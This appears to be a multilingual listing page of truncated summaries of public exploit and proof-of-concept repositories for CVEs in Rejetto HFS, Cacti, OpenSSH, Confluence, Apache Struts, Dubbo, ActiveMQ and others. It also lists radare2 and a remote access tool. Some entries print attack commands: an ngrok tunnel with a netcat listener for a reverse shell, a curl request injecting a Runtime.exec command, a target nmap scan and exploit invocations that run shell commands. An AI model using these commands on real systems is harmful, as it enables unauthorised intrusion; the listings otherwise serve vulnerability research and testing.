CVE-2024-23692-RCE-in-Rejetto-HFS

Unauthenticated RCE Flaw in Rejetto HTTP File Server CVE-2024-23692 - exploit code CVE-2024-23692 is a critical vulnerability in Rejetto HTTP File Server HFS version 2.3m, allowing unauthenticated remote code execution RCE. This flaw enables attackers to execute arbitrary code on the server, posi...

cacti-cve-2022-46169-exploit

CVE-2022-46169 PoC: 認証バイパスおよびリモートコード実行 このリポジトリには、CVE-2022-46169 脆弱性の PoC が含まれています。この脆弱性により、攻撃者は認証をバイパスし、影響を受けるシステム上でリモートから任意のコードを実行できます。この脆弱性は、2022年8月18日にリリースされた Cacti バージョン 1.2.22 に影響します。 脆弱性は、remoteagent.php に IP アドレスを取得し poller テーブル内のエントリを検証する関数が存在することに起因します。エントリが見つかると、関数は true...

CVE-2024-6387-analysis

CVE-2024-6387 OpenSSH 신호 경쟁 조건 취약점 분석 취약점 개요 CVE-2024-6387은 OpenSSH 8.5p1부터 9.7p1까지 존재하는 신호 처리 경쟁 조건 취약점으로, "regreSSHion" 이라고 불립니다. 공격자는 68시간 동안 지속적으로 시도하여 root 권한으로 임의 코드를 실행할 수 있으며, 전 세계 약 1,400만 대의 서버에 영향을 줍니다. 영향 버전 OpenSSH 8.5p1 9.7p1 Ubuntu 22.04 기본 버전 8.9p1 영향 받음 취약점 원리 1. OpenSSH는 SIGALRM...

CVE-2023-22527-confluence

CVE-2023-22527-confluence Confluence CVE-2023-22527 実世界のPoC 使用方法 bunをダウンロード https://github.com/oven-sh/bun/releases ngrokを起動 root@kitploit: ngrok tcp 4444 localhost 4444で待ち受け root@kitploit: nc -nvlp 4444 エクスプロイトを実行 root@kitploit: bun exploit-CVE-2023-22527.js --lhost 0.tcp.ap.ngrok.io --lport 121...

CVE-2025-60655

CVE-2025-60655 - 무제한 업로드를 통한 원격 코드 실행 RCE | ---|--- 연구자| DotAdrien 심각도| 9.8 CRITICAL CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H 소프트웨어| Script Pag 설명...

tapodate

tapodate Usa el exploit de https://github.com/hacefresko/CVE-2021-4045 para establecer la fecha y otros comandos en un Tapo C200 sin conexión...

Spring-Data-Mongodb-Example

Spring-Data-Mongodb-Example CVE-2022-22980 환경 Docker 환경 구축 root@kitploit: docker build -t mongo . docker run -dit -p 6666:6666 mongo Poc root@kitploit: ➜ Spring-Data-Mongodb-Example git:main curl 0:6666/v1/user/get -d 'id=Tjava.lang.Runtime.getRuntime.exec"touch /tmp/aaaa"'...

S2-057-CVE-2018-11776

S2-057-CVE-2018-11776 Apache Struts RCE S2-057 CVE-2018-11776를 위한 간단한 익스플로잇 중요: 교육 또는 정보 제공 목적으로만 제공됩니다. 테스트 환경 배포 root@kitploit: git clone https://github.com/vulhub/vulhub cd vulhub/struts2/s2-057 docker-compose up -d 사용법 exploit.py 예시 root@kitploit: $ python exploit.py...

CVE-2021-25641-Proof-of-Concept

The 0xDABB of Doom - CVE-2021-25641-Proof-of-Concept 신뢰할 수 없는 데이터의 역직렬화를 통한 CVE-2021-25641 RCE를 위한 Apache/Alibaba Dubbo = 2.7.3 PoC 코드; 다양한 가젯으로 = 2.7.6 버전에 영향 Checkmarx 블로그에 게시된 "The 0xDABB of Doom" 기사에서 심층적으로 다루어졌습니다 https://www.checkmarx.com/blog/technical-blog/the-0xdabb-of-doom-cve-2021-2564...

CVE-2019-17564-FastJson-Gadget

CVE-2019-17564 FastJson + SpringFramework Gadget for Dubbo 2.7.3 전체 분석 글은 https://www.checkmarx.com/blog/apache-dubbo-unauthenticated-remote-code-execution-vulnerability 에서 확인할 수 있습니다. 참고: 이것은 익스플로잇이 아닙니다 ; 특정 의존성을 포함하는 범위에서 역직렬화를 시연하는 데 사용되는 POC 가젯 체인입니다. 개요 Apache Dubbo의 CVE-2019-17564를 익스플로잇하는...

CVE-2025-55182-Test-Server

CVE-2025-55182-Test-Server 安全な環境で react2shell を試してみましょう! クイックスタート リポジトリをクローンします root@kitploit: git clone https://github.com/CharlesTheGreat77/CVE-2025-55182-Test-Server cd CVE-2025-55182-Test-Server Docker ファイルを実行します root@kitploit: docker compose up --build -d PoC root@kitploit: curl -s -X POST...

CVE-2020-11851

CVE-2020-11851 ArcSight Logger ArcSight Management Center를 통해에서의 원격 코드 실행 취약점 https://nvd.nist.gov/vuln/detail/CVE-2020-11851 요약 취약점 배경 ArcSight Logger는 조직 전반의 머신 데이터 로그를 통합 및 저장하고, 해당 데이터에 대한 빠른 검색 및 보고를 용이하게 하여 규정 준수 부담을 완화하고 보안 전문가의 신속한 포렌식 조사를 지원하는 포괄적인 로그 관리 솔루션입니다. ArcSight Management...

CVE-2021-42292

CVE-2021-42292 이 패키지는 CVE-2021-42292의 익스플로잇을 탐지합니다. 이 취약점은 Microsoft Excel의 로컬 권한 상승 취약점이며, notice.log에 알림을 생성합니다. https://corelight.com/blog/detecting-cve-2021-42292 탐지 방법: 이 패키지는 트리거 역할을 하는 Excel 스프레드시트가 두 번째 스프레드시트를 다운로드할 때 취약점을 탐지합니다. 두 번째 스프레드시트는 상승된 권한으로 실행됩니다. 이 스크립트를 사용하여 Microsoft Excel이...

CVE-2015-5254

CVE-2015-5254 ActiveMQ デシリアライゼーション RCE 0x01 ポート61616が開いていることを確認 nmap -p 61616 -Pn -T5 -n -sC -sV 10.10.20.166 root@kitploit: root@kali: nmap -p 61616 -Pn -T5 -n -sC -sV 10.10.20.166 Starting Nmap 7.70 https://nmap.org at 2019-08-30 02:05 EDT Nmap scan report for 10.10.20.166 Host is up 0.00022s...

Apache-Struts-0Day-Exploit

Apache-Struts-0Day-Exploit Apache Struts에서 발견된 치명적인 원격 코드 실행 취약점 CVE-2018-11776. 설치 git clone https://github.com/LightC0der/Apache-Struts-0Day-Exploit/ 사용법: python ApacheStruts.py URL : www.example.com/ Shell : "명령어" 예: ls, dir, whoami...

CVE-2012-1823-exploit-for-https-user-password-web

El archivo CVE-2012-1823 es un exploit uso : python3 CVE-2012-1823.py El archivo CVE-2012-1823,CVE-2021-2291.py comprueba si el sitio es vulnerable a CVE-2012-1823 o CVE-2021-2291 uso : python3 CVE-2012-1823,CVE-2021-2291.py comandos: whoami cd ls probado en Kali Linux...

radare2

Radare2: Libre Reversing Framework for Unix Geeks Current git master branch is 6.2.0, next release will be 6.2.1. Description r2 is a complete rewrite of radare. It provides a set of libraries, tools and plugins to ease reverse engineering tasks. Distributed under LGPLv3, despite each plugin can...

FastJsonAutoTypeBypass

これは何ですか このプロジェクトは、fastJSONのAutoTypeチェックをバイパスする方法を研究するためのものです。 ガジェット情報 マッピング fastjson 1.2.47のみに適用： root@kitploit: package com.FastJson1242; import com.alibaba.fastjson.JSONObject; public class Poc public static void mainString argv String payload ="\n" + " "a": \n" + " "@type":...

Apollo

Apollo Python으로 작성된 간단하고 가벼운 원격 접속 도구 Apollo는 Python 3.4+용 크로스 플랫폼Windows, Linux, FreeBSD 및 MacOS 원격 접속 도구입니다. 현재 기능은 매우 기본적이지만, 사후 침투 원격 코드 실행 및 클라이언트 시스템 정보를 수집하여 C&CCommand & Control 서버로 보고하는 것을 가능하게 합니다. 기능 여러 클라이언트를 동시에 제어 가능 크로스 플랫폼 Windows, Linux, FreeBSD 및 macOS AES-256 암호화 C2 및 D-H 키 교환 ...

WSO2-2021-1258

WSO2-2021-1258: WSO2 ESB 中的 Zip Slip 漏洞 在 WSO2 管理控制台中发现了一个基于 ZIP 文件的目录遍历（Zip Slip）漏洞。通过写入/覆盖特定文件，可能实现远程代码执行。 厂商披露: 该漏洞的厂商披露和修复说明可在此处找到。 为什么没有 CVE? 我和厂商都没有为此漏洞申请 CVE。 要求: 此漏洞需要： 有效的用户凭据 概念验证: 更多细节和利用过程可参见此 PDF。...